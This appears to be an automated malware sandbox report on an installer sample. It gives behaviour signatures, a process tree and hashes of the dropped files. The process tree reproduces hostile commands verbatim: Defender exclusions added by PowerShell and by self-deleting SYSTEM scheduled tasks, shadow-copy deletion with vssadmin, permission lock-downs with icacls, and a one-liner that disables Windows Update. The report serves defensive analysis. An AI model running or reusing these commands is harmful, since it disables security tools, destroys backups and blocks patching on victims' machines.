Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/08/2026, 22:26

General

  • Target
    install_q0.3.08.exe
  • Size 31.2MB
  • Sample260830-2cs9qa1enh
  • SHA256 956e0a75a535e93dc0df56c320d2649062b5dee714d4c28443d943d44b7f5d9b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 7 IoCs
  • Modifies file permissions 1 TTPs 15 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

    Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

  • Executes a command shell one-liner 1 TTPs 21 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Control Panel 4 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.08.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.08.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3288
  • C:\Users\Public\efVUwz\qQi2wp.exe
    "C:\Users\Public\efVUwz\qQi2wp.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\efVUwz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3884
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\efVUwz\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2484
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3320
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2448
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4908
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4176
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5188
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2400
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3952
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3940
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5072
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3156
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5868
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1672
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1284
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2900
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5476
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3580
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2768
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2304
                        • C:\Program Files (x86)\29xmbo\mxzlCk.exe
                          "C:\Program Files (x86)\29xmbo\mxzlCk.exe"
                          2⤵
                          • UAC bypass
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          • Event Triggered Execution: Screensaver
                          • System Location Discovery: System Language Discovery
                          • Modifies Control Panel
                          • Suspicious use of WriteProcessMemory
                          • System policy modification
                          PID:5660
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4504
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1936
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4620
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:5740
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1512
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4696
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4632
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4204
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1204
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4756
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2556
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:4772
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:4660
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:5976
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2120
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\image.png" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3744
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3376
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3940
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3260
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2400
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1380
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1912
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2128
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2960
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:6104
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:3888
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:3580
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2396
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1240
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:2304
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2796
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
                              4⤵
                              • Modifies file permissions
                              • System Location Discovery: System Language Discovery
                              PID:1808
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:1500
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
                            3⤵
                            • Executes a command shell one-liner
                            PID:5064
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              4⤵
                                PID:5156
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop wuauserv
                                  5⤵
                                    PID:4916
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\29xmbo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                                3⤵
                                • Indicator Removal: Clear Persistence
                                PID:1436
                                • C:\Windows\SysWOW64\schtasks.exe
                                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\29xmbo\" /t REG_DWORD /d 0 /f"
                                  4⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4616
                          • C:\Users\Public\efVUwz\qQi2wp.exe
                            "C:\Users\Public\efVUwz\qQi2wp.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4228
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\efVUwz" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3292
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\efVUwz" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3804
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:2256
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1316
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:4920
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3012
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1192
                            • C:\Program Files (x86)\29xmbo\mxzlCk.exe
                              "C:\Program Files (x86)\29xmbo\mxzlCk.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:5896
                            • C:\Program Files (x86)\3wt1Cj288\526oi13.exe
                              "C:\Program Files (x86)\3wt1Cj288\526oi13.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:3728
                            • C:\Program Files (x86)\29xmbo\mxzlCk.exe
                              "C:\Program Files (x86)\29xmbo\mxzlCk.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:3512
                            • C:\Program Files (x86)\3wt1Cj288\526oi13.exe
                              "C:\Program Files (x86)\3wt1Cj288\526oi13.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              PID:2192

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\29xmbo\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 10f6987e6e3d7cad431330997426dfca76fcc7223f7bdd688ca28d0d76a570dd
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\29xmbo\image.png
                                  • Size 5.0MB
                                  • SHA256 f74025b9c14118eb106b300c5b344a579efddbcf27edbc13c6fa6355f30c3ea5
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  mxzlCk.exe

                                  • Path C:\Program Files (x86)\29xmbo\mxzlCk.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\29xmbo\thumbs.db
                                  • Size 358KB
                                  • SHA256 52bbce6a7a229ae66c2a2c0c70bf2d4231816dab177582e937f4ca22d70010d9
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\3wt1Cj288\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 86da97e7b05808df3e6105b482073d0fefcd4d3cb96fa739ff338a49d8864223
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\3wt1Cj288\image.png
                                  • Size 5.0MB
                                  • SHA256 6727bb9eddd32c63eda8cb7e057a89124762807983fc3e1aa0123e9ddb134615
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  destopbak.ini

                                  • Path C:\Users\Public\Music\destopbak.ini
                                  • Size 2B
                                  • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                  • MD5 SHA1 SHA512

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\efVUwz\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 4e54891a55ee12c4a9b32cbe8e4728ba2ef8375f3228602f0a15aeb3863a4967
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\efVUwz\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 b61bea6aff035a05e58d81e44b27514f424b512c4bc16abad9d92fb4a56ea4f5
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\efVUwz\msadox.tb
                                  • Size 8KB
                                  • SHA256 86a3b8060b729c00b8f82ac12487e0058cc5cd877b1efb0d149e7cc01c450124
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  qQi2wp.exe

                                  • Path C:\Users\Public\efVUwz\qQi2wp.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1536-602-0x000001F378BD0000-0x000001F378BF2000-memory.dmp

                                  memory/1536-608-0x000001F378C40000-0x000001F378C4A000-memory.dmp

                                  memory/1536-606-0x000001F378EA0000-0x000001F378F52000-memory.dmp

                                  memory/1536-605-0x000001F378C20000-0x000001F378C3E000-memory.dmp

                                  memory/2192-766-0x0000000000A50000-0x0000000000A51000-memory.dmp

                                  memory/2192-767-0x0000000073BF0000-0x000000007433A000-memory.dmp

                                  memory/2192-771-0x0000000002DD0000-0x00000000035D3000-memory.dmp

                                  memory/2192-778-0x0000000002DD0000-0x00000000035D3000-memory.dmp

                                  memory/2192-777-0x0000000000A70000-0x0000000000A71000-memory.dmp

                                  memory/2192-781-0x0000000000A50000-0x0000000000A51000-memory.dmp

                                  memory/3208-556-0x0000019E323C0000-0x0000019E3240E000-memory.dmp

                                  memory/3208-550-0x0000019E32E10000-0x0000019E33697000-memory.dmp

                                  memory/3208-560-0x0000019E33730000-0x0000019E337BA000-memory.dmp

                                  memory/3208-559-0x0000019E33730000-0x0000019E337BA000-memory.dmp

                                  memory/3208-564-0x0000019E32E10000-0x0000019E33697000-memory.dmp

                                  memory/3208-566-0x0000019E32E10000-0x0000019E33697000-memory.dmp

                                  memory/3208-567-0x0000019E32E10000-0x0000019E33697000-memory.dmp

                                  memory/3208-531-0x00007FFB0B730000-0x00007FFB0BC4E000-memory.dmp

                                  memory/3208-530-0x00007FFB2E3F0000-0x00007FFB2E3F2000-memory.dmp

                                  memory/3208-536-0x0000019E32E10000-0x0000019E33697000-memory.dmp

